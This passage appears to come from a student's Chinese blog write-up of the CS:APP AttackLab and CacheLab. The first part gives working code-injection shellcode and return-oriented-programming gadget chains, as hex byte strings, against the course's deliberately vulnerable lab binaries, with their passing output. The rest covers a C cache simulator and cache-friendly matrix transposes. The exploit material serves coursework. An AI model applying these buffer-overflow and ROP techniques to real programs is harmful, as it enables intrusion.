mov %r8,%rdi#将字符串起始地址赋给%rdi,作为第一个参数
ret
用GCC(作为assmbler)和OBJDUMP(作为disassembler)为Level3ExploitCode.s生成汇编命令的字节表示,命令见Level2。生成的Level3ExploitCode.d文件如下:
Level3ExploitCode.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 68 fa 18 40 00 pushq $0x4018fa
5: 49 c7 c0 68 dc 61 55 mov $0x5561dc68,%r8
c: 49 b9 35 39 62 39 39 movabs $0x6166373939623935,%r9
13: 37 66 61
16: 4d 89 08 mov %r9,(%r8)
19: 41 c7 40 08 00 00 00 movl $0x0,0x8(%r8)
20: 00
21: 4c 89 c7 mov %r8,%rdi
24: c3 retq
综合上述分析,给出本关的一个可行解的字节表示,如下。注意:使用小端序并且不要包含0x0a (是\n的ascii码)。汇编指令的字节表示已经是小端序了,不需要反转!注入代码的地址0x5561dc78需要写成小端序! cookie的字符串的字节表示使用大端序!
68 fa 18 40 00 /* pushq $0x4018fa */
49 c7 c0 68 dc 61 55 /* mov $0x5561dc68,%r8 */
49 b9 35 39 62 39 39 /* movabs $0x6166373939623935,%r9 */
37 66 61
4d 89 08 /* mov %r9,(%r8) */
41 c7 40 08 00 00 00 /* movl $0x0,0x8(%r8) */
00
4c 89 c7 /* mov %r8,%rdi */
c3 /* retq */
88 88 88
78 dc 61 55 00 00 00 00
将如上字节作为hex2raw程序的入参,产生的字符串再传给ctarget,实现代码注入。执行效果如下:
cs144@cs144vm:~/CSAPP/AttackLab/target1/Level3$ cat Level3.txt | ../hex2raw | ../ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:68 FA 18 40 00 49 C7 C0 68 DC 61 55 49 B9 35 39 62 39 39 37 66 61 4D 89 08 41 C7 40 08 00 00 00 00 4C 89 C7 C3 88 88 88 78 DC 61 55 00 00 00 00
1.2 Return-Oriented Programming
Level4和Level5攻击的是rtarget,不能像前三关一样进行代码注入了。原因:1.随机化让你很难预判注入代码的位置;2.将栈区标记为不可执行了。要使用ROP手段,预备知识:
- 实验文档 上关于ROP的介绍,以及movl、movq、popq等命令的表格。
- CALL指令:首先执行push指令,将返回地址(也就是执行到call指令、但还没跳转时EIP的值)压栈。然后执行jump指令,跳转到被调用方法的起始地址。
- RET指令:首先执行pop指令,将栈顶的数据弹出并赋给EIP,然后以EIP为下一条指令地址继续执行。
1.2.1 Level4
Level4的任务和Level2几乎一样,让getbuf()函数执行结束后不返回调用它的test函数,而是去调用函数touch2,并给它传入参数为cookie值,只是把攻击的对象从ctarget改成了rtarget,攻击方法从代码注入改成了ROP(Return-Oriented Programming),具体见实验文档 。由Level2可知,这关的任务就是用gadget拼接出下列代码的效果:
68 ec 17 40 00 /* pushq $0x4017ec */
48 c7 c7 fa 97 b9 59 /* mov $0x59b997fa,%rdi */
c3 /* retq */
首先,用objdump -d rtarget > rtarget_disasCode.txt生成rtarget的汇编代码。 实验文档 出了重要提示(说了要好好看吧):
- 所有需要的gadgets都可以在start_farm和mid_farm之间找到,且此关只需要两个gadgets
- 只需要使用四种指令类型:movq、popq、ret、nop;
- 当gadget使用popq指令时,它将从栈pop出数据。因此,exploit code应由gadget地址和数据组合而成。
找出start_farm和mid_farm之间的汇编代码,查实验文档的Figure3A表可以找出如下两条gadget,位置见注释:
- gadget1:内容为"48 89 c7 c3",地址为"4019a2"。等价于movq %rax,%rdi (48 89 c7)和ret (c3)。
- gadget2:内容为"58 90 c3",地址为"4019ab"。等价于popq %rax (58) 、nop (90)和ret (c3)。
0000000000401994 <start_farm>:
401994: b8 01 00 00 00 mov $0x1,%eax
401999: c3 retq
000000000040199a <getval_142>:
40199a: b8 fb 78 90 90 mov $0x909078fb,%eax
40199f: c3 retq
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax # gadget1: 48 89 c7 c3
4019a6: c3 retq
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax # gadget2: 58 90 c3
4019ad: c3 retq
00000000004019ae <setval_237>:
4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
4019b4: c3 retq
00000000004019b5 <setval_424>:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 retq
00000000004019bc <setval_470>:
4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi)
4019c2: c3 retq
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
00000000004019d0 <mid_farm>:
4019d0: b8 01 00 00 00 mov $0x1,%eax
4019d5: c3 retq
因此,可以将解决思路用栈区示意图表示:
输入72个字节,前40个字节用作pad,即灰色区域,填充getbuf栈帧中的缓冲区;后32个字节作为exlpoit code,即绿色区域,全部放置在test栈帧内。
- 当getbuf函数调用结束前,调用命令
add $0x28,%rsp
会让%rsp回到test栈帧底部,调用命令retq
后cpu会将此时%rsp指向的内容(gadget2地址)当成返回地址,并出栈(%rsp再上移,指向cookie值)。因此,会先执行gadget2,即执行popq %rax,将此时**%rsp指向的内容(cookie值)弹出并赋给%rax**。 - 同理,gadget2执行结束后,cpu会将此时%rsp指向的内容(gadget1地址)当成返回地址,执行gadget1,即执行movq %rax,%rdi,将%rdi设置成cookie值。
- gadget1执行结束后,执行touch2,因为此时第一个参数%rdi已经正确设置,因此通关了!
将上述字节以小端序写入到Level4.txt中,并传入到hex2raw程序,所得结果再传给rtarget程序,效果如下:
88 88 88 88 88 88 88 88 /* pad */
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
ab 19 40 00 00 00 00 00 /* gadget2 */
fa 97 b9 59 00 00 00 00 /* cookie */
a2 19 40 00 00 00 00 00 /* gadget1 */
ec 17 40 00 00 00 00 00 /* touch2 */
cs144@cs144vm:~/CSAPP/AttackLab/target1/Level4$ cat Level4.txt | ../hex2raw | ../rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
1.2.2 Level5
Level5的任务和Level3一样,让getbuf()函数执行结束后不返回调用它的test函数,而是去调用函数touch3,并使参数为cookie值的十六进制字符串的地址,要求使用ROP方式攻击rtarget,让程序在调用touch3之前使%rdi寄存器的内容为字符串的地址。
思路:
-
选择字符串存储的位置:由于随机化,每次调用完getbuf()函数后的%rsp值都是不确定的。因此,无法用绝对位置存放字符串。应该把字符串存在相对位置上,可以使用%rsp为基地址,将字符串存在%rsp+k的位置上。%rsp加上正整数k,而不是减去正整数k,是因为touch3函数会修改getbuf栈帧中的数据,故需要字符串放在getbuf栈帧上面。正整数k的具体值由我们使用的gadget情况而定。
-
找出有用的gadget:movq、movl、pop这种是有用的。andb R,R、orb R,R、compb R,R和testb R,R这种不会修改寄存器的值,没啥用。搜索范围在start_farm和end-farm之间,相同效果的gadget找出一条就行,如下所示:
90是nop命令。为了计算相对地址,需要将add_xy整个函数当成一个gadget,此函数使用
lea (%rdi,%rsi,1),%rax
命令。这是本关的难点,一开始很难想到把一个完整的函数当成gadget…# mov相关 48 89 c7 c3 # movq %rax, %rdi 地址:4019a2 89 c2 90 c3 # movl %eax, %edx 地址:4019dd 89 e0 c3 # movl %esp, %eax 地址:401a3c 89 ce 90 90 c3 # movl %ecx, %esi 地址:401a13 48 89 e0 c3 # movq %rsp, %rax 地址:401a06 89 d1 38 c9 c3 # movl %edx, %ecx 和 compb %cl, %cl 地址:401a34 # pop相关 58 90 c3 # popq %rax 地址:4019ab # lea相关,计算相对地址! 48 8d 04 37 c3 # lea (%rdi,%rsi,1),%rax 地址:4019d6
-
画出栈区示意图:
-
将字节数据写入如下Level5.txt文件,并输入到rtarget执行。
88 88 88 88 88 88 88 88 /* pad */ 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 06 1a 40 00 00 00 00 00 /* movq %rsp,%rax */ a2 19 40 00 00 00 00 00 /* movq %rax,%rdi */ ab 19 40 00 00 00 00 00 /* popq %rax */ 48 00 00 00 00 00 00 00 /* 0x48 */ dd 19 40 00 00 00 00 00 /* movl %eax, %edx */ 34 1a 40 00 00 00 00 00 /* movl %edx, %ecx */ 13 1a 40 00 00 00 00 00 /* movl %ecx, %esi */ d6 19 40 00 00 00 00 00 /* lea (%rdi,%rsi,1),%rax */ a2 19 40 00 00 00 00 00 /* movq %rax,%rdi */ fa 18 40 00 00 00 00 00 /* touch3 */ 35 39 62 39 39 37 66 61 00 /* cookie */
执行效果如下:
cs144@cs144vm:~/CSAPP/AttackLab/target1/Level5$ cat Level5.txt | ../hex2raw | ../rtarget -q Cookie: 0x59b997fa Type string:Touch3!: You called touch3("59b997fa") Valid solution for level 3 with target rtarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:3:88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
注意:Level5.txt中写注释时,
/*
的后面和*/
的前面必须要有空格,不然上述命令执行后会报Segmentation fault!很坑,让我卡了好久。
2 总结
AttackLab让我看到缓冲区溢出的危害,明白以前刷PAT时OJ为什么不让用gets这种不限制输入长度的函数了,以后自己写C代码也要避免使用这类危险函数。学习到两种利用缓冲区溢出的攻击方式:代码注入和面向返回地址编程,这是黑暗魔法啊。对栈区、x86-64机器代码参数传递、debug工具等更加熟悉,虽然找gadget有点眼花,但实验还是非常有意思的!通了这关,来吧,谁是下一个。
实验时长:33h45m。断断续续地做实验,有亿点慢。
Lab4 CacheLab
一些有用的资料
-
Lab说明链接:
http://csapp.cs.cmu.edu/3e/cachelab.pdf
-
官方课程的说明链接:
https://www.cs.cmu.edu/~213/recitations/rec06_slides.pdf
-
getopt命令: 懒得看英文就看中文博客 https://www.cnblogs.com/qingergege/p/5914218.html
官方给的getopt的例子https://www.cs.cmu.edu/~213/activities/rec6.tar
第一个链接和第二个链接配合看。
1 实验步骤
PartA: Writing a Cache Simulator
在csim.c实现一个缓存模拟器。cachelab-handout提供了一个可执行文件作为参考,csim-ref,下面是它执行的一个例子,以traces/yi.trace为输入(-t traces/yi.trace
),cache有2^4个sets(-s 4
)、组相联为1(-E 1
)、block有2^4字节(-b 4
)。-v表示展示详细信息。log信息的首位是访问类型:“L” a data load, “S” a data store, and “M” a data modify (i.e., a data load followed by a data store).
linux> ./csim-ref -v -s 4 -E 1 -b 4 -t traces/yi.trace
L 10,1 miss
M 20,1 miss hit
L 22,1 hit
S 18,1 hit
L 110,1 miss eviction
L 210,1 miss eviction
M 12,1 miss eviction hit
hits:4 misses:5 evictions:3
我们的任务就是,完成csim.c文件,让它与参考模拟器一样,接收相同的命令行参数且提供相同的输出。下面是一些关键的programing rules:
- 只对数据缓存感兴趣,因此模拟器应该忽略所有指令缓存访问(valgrind trace中以“I”开头的行)。
- 假设内存访问是正确对齐的,这样单个内存访问就不会跨越块边界。因此可以忽略valgrind trace中的请求大小。
建议编程时,写完一个部分就测试一下。例如写完解析输入参数的函数,就测试一下是否能正确解析命令行选项,根据下面的printf打印结果,可以看到能正确解析参数。并且写完一个部分就commit一下,记录过程,越详细越好,又不花钱。
cs144@cs144vm:~/CSAPP/CacheLab/cachelab-handout$ ./csim -v -s 4 -E 1 -b 4 -t traces/yi.trace
set_bits:4 associativity:1 block_bits:4
help_flag:0 verbose_flag:1 trace:traces/yi.trace
实现思路:没啥特别的思路,照着下面这种cache结构图敲就完事。
代码如下。有几点说明一下:
-
使用结构体cache_line_t的二维数组来模拟缓存,行表示set。
-
使用calloc而不是malloc,因为前者会自动初始化
-
因为要使用LRU替换算法,cache_line结构体需要维护访问的时间access_time
#include "cachelab.h"
#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <math.h>
#define TRUE 1
#define FALSE 0
typedef int bool;
typedef struct cache_line
{
int valid;
unsigned long tag;
int access_time;
//Just simulate the cache, no need to actually allocate block
} cache_line_t;
cache_line_t **cache_memory;
int hits_num = 0, misses_num = 0, evictions_num = 0;
int set_bits = 0, associativity = 0, block_bits = 0;
int access_time = 0;
bool help_flag = FALSE, verbose_flag = FALSE;
char* traceFileName;
void getInputArguments(int argc, char *argv[]);
void searchCacheLine(int set_idx, unsigned long tag);
void printHelpInfo();
int main(int argc, char *argv[])
{
getInputArguments(argc, argv);
if (help_flag) {
printHelpInfo();
return 0;
}
// Allocate memory for cache
int set_num = pow(2, set_bits);
cache_memory = (cache_line_t **)calloc(set_num, sizeof(cache_line_t *));// calloc can initialize allocated memory
if (cache_memory == NULL) return 0;//calloc can fail
for (int i = 0; i < set_num; i++) {
cache_memory[i] = (cache_line_t *)calloc(associativity, sizeof(cache_line_t));
if (cache_memory[i] == NULL) return 0;//calloc can fail
}
// read trace files
FILE *tFile;
tFile = fopen(traceFileName, "r"); //open file for reading
char access_type;
unsigned long address;
int size;
while (fscanf(tFile, " %c %lx,%d", &access_type, &address, &size) > 0) {
if (access_type == 'I')continue;
if (verbose_flag) {
printf("%c %lx,%d", access_type, address, size);
}
// parse address
unsigned long full_mask = -1;//111...1
unsigned long set_mask = full_mask >> (64 - set_bits);
unsigned long tag = address >> (block_bits + set_bits);
int set_idx = (address >> block_bits) & set_mask;
// search cache line
searchCacheLine(set_idx, tag); // L(load) or S(store), search once
if (access_type == 'M') { // M(modift) = L(load) + S(store). search twice
searchCacheLine(set_idx, tag);
}
if (verbose_flag) {
printf("\n");
}
}
fclose(tFile);// clean up resources
// free memory for cache
for (int i = 0; i < set_num; i++) {
free(cache_memory[i]);
}
free(cache_memory);
printSummary(hits_num, misses_num, evictions_num);
return 0;
}
/*
* getInputArguments - Parse command line arguments
*/
void getInputArguments(int argc, char *argv[])
{
char opt;
while ((opt = getopt(argc, argv, "hvs:E:b:t:")) != -1) {
switch (opt)
{
case 'h':
help_flag = TRUE;
break;
case 'v':
verbose_flag = TRUE;
break;
case 's':
set_bits = atoi(optarg);
break;
case 'E':
associativity = atoi(optarg);
break;
case 'b':
block_bits = atoi(optarg);
break;
case 't':
traceFileName = optarg;
break;
default:
break;
}
}
}
/*
* search cache line
*/
void searchCacheLine(int set_idx, unsigned long tag) {
bool hit_flag = FALSE;
for (int j = 0; j < associativity; j++) { // find hit line
cache_line_t *line = &cache_memory[set_idx][j];
if (line->valid && line->tag == tag) { // hit line
if (verbose_flag) {
printf(" hit");
}
hit_flag = TRUE;
line->access_time = access_time++;
hits_num++;
break;
}
}
if (!hit_flag) { // find invalid line and eviction line
if (verbose_flag) {
printf(" miss");
}
misses_num++;
bool invalid_found = FALSE;
for (int j = 0; j < associativity; j++) {
cache_line_t *line = &cache_memory[set_idx][j];
if (!line->valid) { // invalid line
if (!invalid_found) {
invalid_found = TRUE;
line->valid = 1;
line->tag = tag;
line->access_time = access_time++;
}
break;
}
}
if (!invalid_found) {
if (verbose_flag) {
printf(" eviction");
}
cache_line_t *eviction_line = &cache_memory[set_idx][0];
for (int j = 1; j < associativity; j++) {
cache_line_t *line = &cache_memory[set_idx][j];
if (line->access_time < eviction_line->access_time) { // eviction line
eviction_line = line;
}
}
eviction_line->tag = tag;
eviction_line->access_time = access_time++;
evictions_num++;
}
}
}
void printHelpInfo() {
printf("Usage: ./csim-ref [-hv] -s <num> -E <num> -b <num> -t <file>\n");
printf("Options:\n");
printf(" -h Print this help message.\n");
printf(" -v Optional verbose flag.\n");
printf(" -s <num> Number of set index bits.\n");
printf(" -E <num> Number of lines per set.\n");
printf(" -b <num> Number of block offset bits.\n");
printf(" -t <file> Trace file.\n\n");
printf("Examples:\n");
printf(" linux> ./csim-ref -s 4 -E 1 -b 4 -t traces/yi.trace\n");
printf(" linux> ./csim-ref -v -s 8 -E 2 -b 4 -t traces/yi.trace\n");
}
测试结果:
cs144@cs144vm:~/CSAPP/CacheLab/cachelab-handout$ ./test-csim
Your simulator Reference simulator
Points (s,E,b) Hits Misses Evicts Hits Misses Evicts
3 (1,1,1) 9 8 6 9 8 6 traces/yi2.trace
3 (4,2,4) 4 5 2 4 5 2 traces/yi.trace
3 (2,1,4) 2 3 1 2 3 1 traces/dave.trace
3 (2,1,3) 167 71 67 167 71 67 traces/trans.trace
3 (2,2,3) 201 37 29 201 37 29 traces/trans.trace
3 (2,4,3) 212 26 10 212 26 10 traces/trans.trace
3 (5,1,5) 231 7 0 231 7 0 traces/trans.trace
6 (5,1,5) 265189 21775 21743 265189 21775 21743 traces/long.trace
27
TEST_CSIM_RESULTS=27
PartB: Optimizing Matrix Transpose
此部分要求我们写一个矩阵转置函数,使得cache miss的次数尽量少。看似很容易,不就是分块嘛,但要得满分是很难的。测试程序(参考test-trans.c和tracegen.c)使用valgrind抽取我们函数访问的地址并生成trace文件,使用csim-ref程序计算cache miss次数,从而对我们的转置函数进行评估。按矩阵大小,评分规则如下:
实验文档上的重要限制和提示:
-
每个转置函数最多可以定义 12 个 int 类型的局部变量。这种限制的原因是测试代码无法计算对堆栈的引用,出题人希望您限制对堆栈的引用,并专注于源数组和目标数组的访问模式。
-
转置函数不可使用递归,不能修改A矩阵…等等
-
代码只需要对矩阵大小为32 × 32、64 x 64、61 x 67这三种情况正确,可以专门针对这三种情况对其进行优化。 你的函数可以明确检查输入大小并实现针对每种情况优化的单独代码。
-
我们写的转置函数的performance是由一个direct-mapped cache(s = 5, E = 1, b = 5)评估的, conflict misses 是潜在的问题。思考代码中出现conflict misses的可能性,特别是访问对角线上的元素,尽量避免它们发生。
-
分块技术Blocking能有效减少cache misses. 可参考:官方链接和知乎链接和CSAPP Cache Lab 缓存实验
分析:
-
cache的结构:32个set(2^s, s = 5),每个set有1个cache line(E = 1),cache line的block大小为32字节(2^b, b = 5),可以存8个int.
-
需要考虑两种形式的缓存冲突:首先,是同一个矩阵内的缓存冲突,例如访问A矩阵中的两个元素,它们正好需要使用同一个cache line;然后是不同矩阵间的缓存冲突,对A矩阵做的是Load操作,对B矩阵做的是Store操作,两个操作使用同一个缓存,可能访问的是同一个cache line。
利用数组按行优先存储的性质,第一种冲突很好分析。为了分析第二种冲突,必须知道A矩阵和B矩阵的地址,可以通过以下两种方式。可以发现,对于相同的i和j,B[i] [j]和A[i] [j]地址的低10位肯定是相同的,故set index(6-10位)是相同的,又因为E=1,故使用同一个cache line,同时访问时会产生缓存冲突。
// 方法1.直接打印:在tracegen.c中使用prinf方法打印两个数组的地址,然后调用以下命令。可以看到,A和B地址相差0x40000=2^18 cs144@cs144vm:~/CSAPP/CacheLab/cachelab-handout$ ./tracegen -M 32 -N 32 -F 0 A:0x55ddbe979080 B:0x55ddbe9b9080 // 方法2.分析法:A和B在tracegen.c被依次声明为静态变量,由x86-64 Linux内存分区可知,它们存放在Data区且地址连续。对于特定的i,j。B[i][j]与A[i][j]相差256 x 256 x 4 = 2^18字节 static int A[256][256]; static int B[256][256];
到此,就可以理解为什么要特别注意对角线上的元素了。对角线上的元素横纵坐标相同,由上面的结论知,A[i] [i]与B[i] [i]使用相同的cache line。当Load完A[i] [i]后,会加载A[i] [i]及周围数据到某个cache line(不妨设为Lx),然后使用Store操作修改B[i] [i]时,会发现Lx存放的不是B[i] [i]及周围数据,这就产生了conflict misses,会导致evcition。
-
对于32 x 32矩阵,矩阵中的每行可以占4个cache line,故每8行会出现同一矩阵的缓存冲突。可以尝试采用8 x 8的分块,避免同一个矩阵内的缓存冲突。因为数组的按行优先存储,故分块的同一行的8个int元素属于同一个cache line,同一列的相邻int元素相差4个缓存行。这样,分块的8行刚好能放入cache中,因为8x4(间隔缓存行数) = 32(cache sets) x 1(cache line),这样也就不会存在重复的cache line,不会导致eviction。记为方案1,代码如下,(kk, jj)是矩阵A的8x8分块的左上角:
char transpose_submit_desc[] = "Transpose submission";//方案1:普通分块 void transpose_submit(int M, int N, int A[N][M], int B[M][N]) { int kk, jj, i, j, tmp; if (M == 32) { // 32 x 32 for (kk = 0; kk < 32; kk += 8) { for (jj = 0; jj < 32; jj += 8) { // blocking for (i = kk; i < kk + 8; i++) { for (j = jj; j < jj + 8; j++) { tmp = A[i][j]; B[j][i] = tmp; } } } } } }
测试结果如下。与简单的按行转置(Function 1)相比,上述8 x 8分块将cache misses从1183减少到了343,还不错,但满分要求是misses小于300,还需要优化。
cs144@cs144vm:~/CSAPP/CacheLab/cachelab-handout$ ./test-trans -M 32 -N 32 Function 0 (2 total) Step 1: Validating and generating memory traces Step 2: Evaluating performance (s=5, E=1, b=5) func 0 (Transpose submission): hits:1710, misses:343, evictions:311 Function 1 (2 total) Step 1: Validating and generating memory traces Step 2: Evaluating performance (s=5, E=1, b=5) func 1 (Simple row-wise scan transpose): hits:870, misses:1183, evictions:1151 Summary for official submission (func 0): correctness=1 misses=343 TEST_TRANS_RESULTS=1:343
怎么优化?可以引入局部变量减少Conflict misses,记为方案2,代码如下,(k, j)是矩阵A的8x8分块的左上角:
char transpose_submit_desc[] = "Transpose submission";//方案2:引入局部变量减少Conflict misses void transpose_submit(int M, int N, int A[N][M], int B[M][N]) { int a, b, c, d, e, f, g, h;//引入8个局部变量 int k, j, i; if (M == 32) { // 32 x 32 for (k = 0; k < 32; k += 8) { for (j = 0; j < 32; j += 8) { for (i = k; i < k + 8; i++) {//A的第i行的8个数值用局部变量存储,然后赋值给B的第i列 a = A[i][j]; b = A[i][j+1]; c = A[i][j+2]; d = A[i][j+3]; e = A[i][j+4]; f = A[i][j+5]; g = A[i][j+6]; h = A[i][j+7]; B[j][i] = a; B[j+1][i] = b; B[j+2][i] = c; B[j+3][i] = d; B[j+4][i] = e; B[j+5][i] = f; B[j+6][i] = g; B[j+7][i] = h; } } } } }
测试结果如下,misses数为287, 满分。
cs144@cs144vm:~/CSAPP/CacheLab/cachelab-handout$ ./test-trans -M 32 -N 32 Function 0 (2 total) Step 1: Validating and generating memory traces Step 2: Evaluating performance (s=5, E=1, b=5) func 0 (Transpose submission): hits:1766, misses:287, evictions:255
对比两次的代码,都是将A的第i行的8个元素赋给B的第i列的8个位置,无非是使用8个局部变量替代了一个最里层的for循环。为什么引入局部变量就可以减少misses数?可以从定性或定量的角度分析:
-
定性分析:对于对角线上的元素,例如A[0] [0]。1 如果不引入局部变量,会首先Load加载"A[0]的8个元素"(下面简称A[0])到cache中,然后Store将该值赋给B[0] [0],会加载"B[0]的8个元素"(下面简称B[0])到cache中,因为它们共用一个cache line,故B[0]替换掉A[0](eviction),然后处理A[0] [1]时,又会加载A[0]到缓存中,A[0]替换掉B[0](eviction);2 如果引入局部变量,首先Load加载A[0]到cache中,然后一次性把这8个元素访问掉,由a-h存储,然后再将a赋给B[0] [0],加载B[0]替换A[0](eviction),之后再将b-h依次赋给B[1] [0]到B[7] [0],不需要再加载A[0]到cache中,不会再有eviction…
可以看到,引入局部变量后,eviction从2次减少到了1次,有效减少了对角线元素的confict misses。
-
定量分析:对于第一个8x8分块。1 如果不引入局部变量,会有37次cache miss,第1行10次、第2-7行4次、第8行3次;2 如果引入局部变量,会有23次cache miss,第1行9次,第2-8行2次。
可以在草稿纸上画一画,比如不引入局部变量时,第一行访问结束后cache中存了A[0]和B[1…7],第二行访问结束后cache中存了A[1]和B[0]、B[2…7]…也可以参考知乎链接,计算过程讲的很清楚。
方案2只是缓解了对角线的缓存冲突问题,并没有完全消除。这是因为前两种方式中,A、B矩阵是交替访问的,A按行访问、B按列访问。这样就会导致访问A的一行Lx时,必须加载B全部的缓存,B缓存的某一部分又会被A的Lx行的缓存替换,在访问A的下一行时,B缓存被替换的部分又得被加载…这点导致无法消除对角线冲突。
那么,能不能完全消除对角线冲突?能,就是方案3:先复制再转置。先将A中的8x8分块复制到B中的对应位置,然后再对B中的8x8分块进行转置。复制过程中,A矩阵和B矩阵均按行访问。代码如下,(i, j)是矩阵A的8x8分块的左上角,(j,i)是矩阵B的8x8分块的左上角,故复制过程中,A从i行开始(s初始化为i),B从j行开始(k初始化为j)。
char transpose_submit_desc[] = "Transpose submission";//方案3:先复制再转置避免对角线缓存冲突 void transpose_submit(int M, int N, int A[N][M], int B[M][N]) { int a, b, c, d, e, f, g, h; int i, j, s, k; if (M == 32) { // 32 x 32 for (i = 0; i < N; i += 8) { for (j = 0; j < M; j += 8) { // 1.Copy for (s = i, k = j; s < i + 8; s++, k++) { a = A[s][j]; b = A[s][j+1]; c = A[s][j+2]; d = A[s][j+3]; e = A[s][j+4]; f = A[s][j+5]; g = A[s][j+6]; h = A[s][j+7]; B[k][i] = a; B[k][i+1] = b; B[k][i+2] = c; B[k][i+3] = d; B[k][i+4] = e; B[k][i+5] = f; B[k][i+6] = g; B[k][i+7] = h; } // 2.transpose for (s = 0; s < 8; s++) { for (k = s + 1; k < 8; k++) { a = B[j+s][i+k]; B[j+s][i+k] = B[j+k][i+s]; B[j+k][i+s] = a; } } } } } }
测试结果如下,misses数为259, 是最优解了。
cs144@cs144vm:~/CSAPP/CacheLab/cachelab-handout$ ./test-trans -M 32 -N 32 Function 0 (2 total) Step 1: Validating and generating memory traces Step 2: Evaluating performance (s=5, E=1, b=5) func 0 (Transpose submission): hits:3586, misses:259, evictions:22
下面给出"先复制再转置"方案,处理第一个8x8分块时的缓存替换情况,出自知乎链接。B矩阵的某行替换完A矩阵后,不会再被A矩阵替换,消除了对角线冲突,是最优解。
cache: 0: A[0] -> B[0] 1: A[1] B[0] -> B[0..1] 2: A[2] B[0..1] -> B[0..2] ... 7: A[7] B[0..6] -> B[0..7]
-
-
对于64 x 64矩阵,矩阵中的每行可以占8个cache line,故每4行会出现同一矩阵的缓存冲突。简单地将第三点中的方案3调整为4x4分块,发现misses数为1603,达不到满分要求1300。这是因为没有充分利用缓存中的数据,cache line中的8个int只用到了4个。
思路参考了CSAPP Cache Lab 缓存实验,属实超出能力范围了,结合这个链接的代码和图一起看。仍然使用8x8分块,不过拆成4个4x4进行处理。代码如下:
if (M == 64) { // 64 x 64 for (i = 0; i < N; i += 8) { for (j = 0; j < M; j += 8) { for (k = 0; k < 4; k++) { //First 4 rows of A // A top right a = A[i+k][j]; b = A[i+k][j+1]; c = A[i+k][j+2]; d = A[i+k][j+3]; // A top left e = A[i+k][j+4]; f = A[i+k][j+5]; g = A[i+k][j+6]; h = A[i+k][j+7]; // B top left B[j][i+k] = a; B[j+1][i+k] = b; B[j+2][i+k] = c; B[j+3][i+k] = d; // B top right B[j][i+k+4] = e; B[j+1][i+k+4] = f; B[j+2][i+k+4] = g; B[j+3][i+k+4] = h; } for (k = 0; k < 4; k++) { //Last 4 rows of A //copy 2 columns of A; a = A[i+4][j+k], e = A[i+4][j+k+4]; b = A[i+5][j+k], f = A[i+5][j+k+4]; c = A[i+6][j+k], g = A[i+6][j+k+4]; d = A[i+7][j+k], h = A[i+7][j+k+4]; // swap "B top right" with first column s = B[j+k][i+4], B[j+k][i+4] = a, a = s; s = B[j+k][i+5], B[j+k][i+5] = b, b = s; s = B[j+k][i+6], B[j+k][i+6] = c, c = s; s = B[j+k][i+7], B[j+k][i+7] = d, d = s; // Add "2 columns of A" to Bottom of B; B[j+k+4][i] = a, B[j+k+4][i+4] = e; B[j+k+4][i+1] = b, B[j+k+4][i+1+4] = f; B[j+k+4][i+2] = c, B[j+k+4][i+2+4] = g; B[j+k+4][i+3] = d, B[j+k+4][i+3+4] = h; } } } }
测试效果如下,misses数为1107,还不错,满足了满分要求1300。注意,上述代码解决了同一个矩阵内的缓存冲突问题,但是没有避免两个矩阵之间的冲突,可以再处理A矩阵前4行时,使用先复制后转置的方法,减少一部分miss。
cs144@cs144vm:~/CSAPP/CacheLab/cachelab-handout$ ./test-trans -M 64 -N 64 Function 0 (2 total) Step 1: Validating and generating memory traces Step 2: Evaluating performance (s=5, E=1, b=5) func 0 (Transpose submission): hits:9138, misses:1107, evictions:1075
-
对于61x67矩阵,类似32x32矩阵的策略,选择一个合适的分块大小就行,可以不断地尝试。其满分要求是misses < 2000,比较容易达到。先尝试过8x8分块发现不行,然后采用8x15分块,代码如下,当剩余数目大于8x15时,引入局部变量减少Conflict misses,否则按行扫描进行转置:
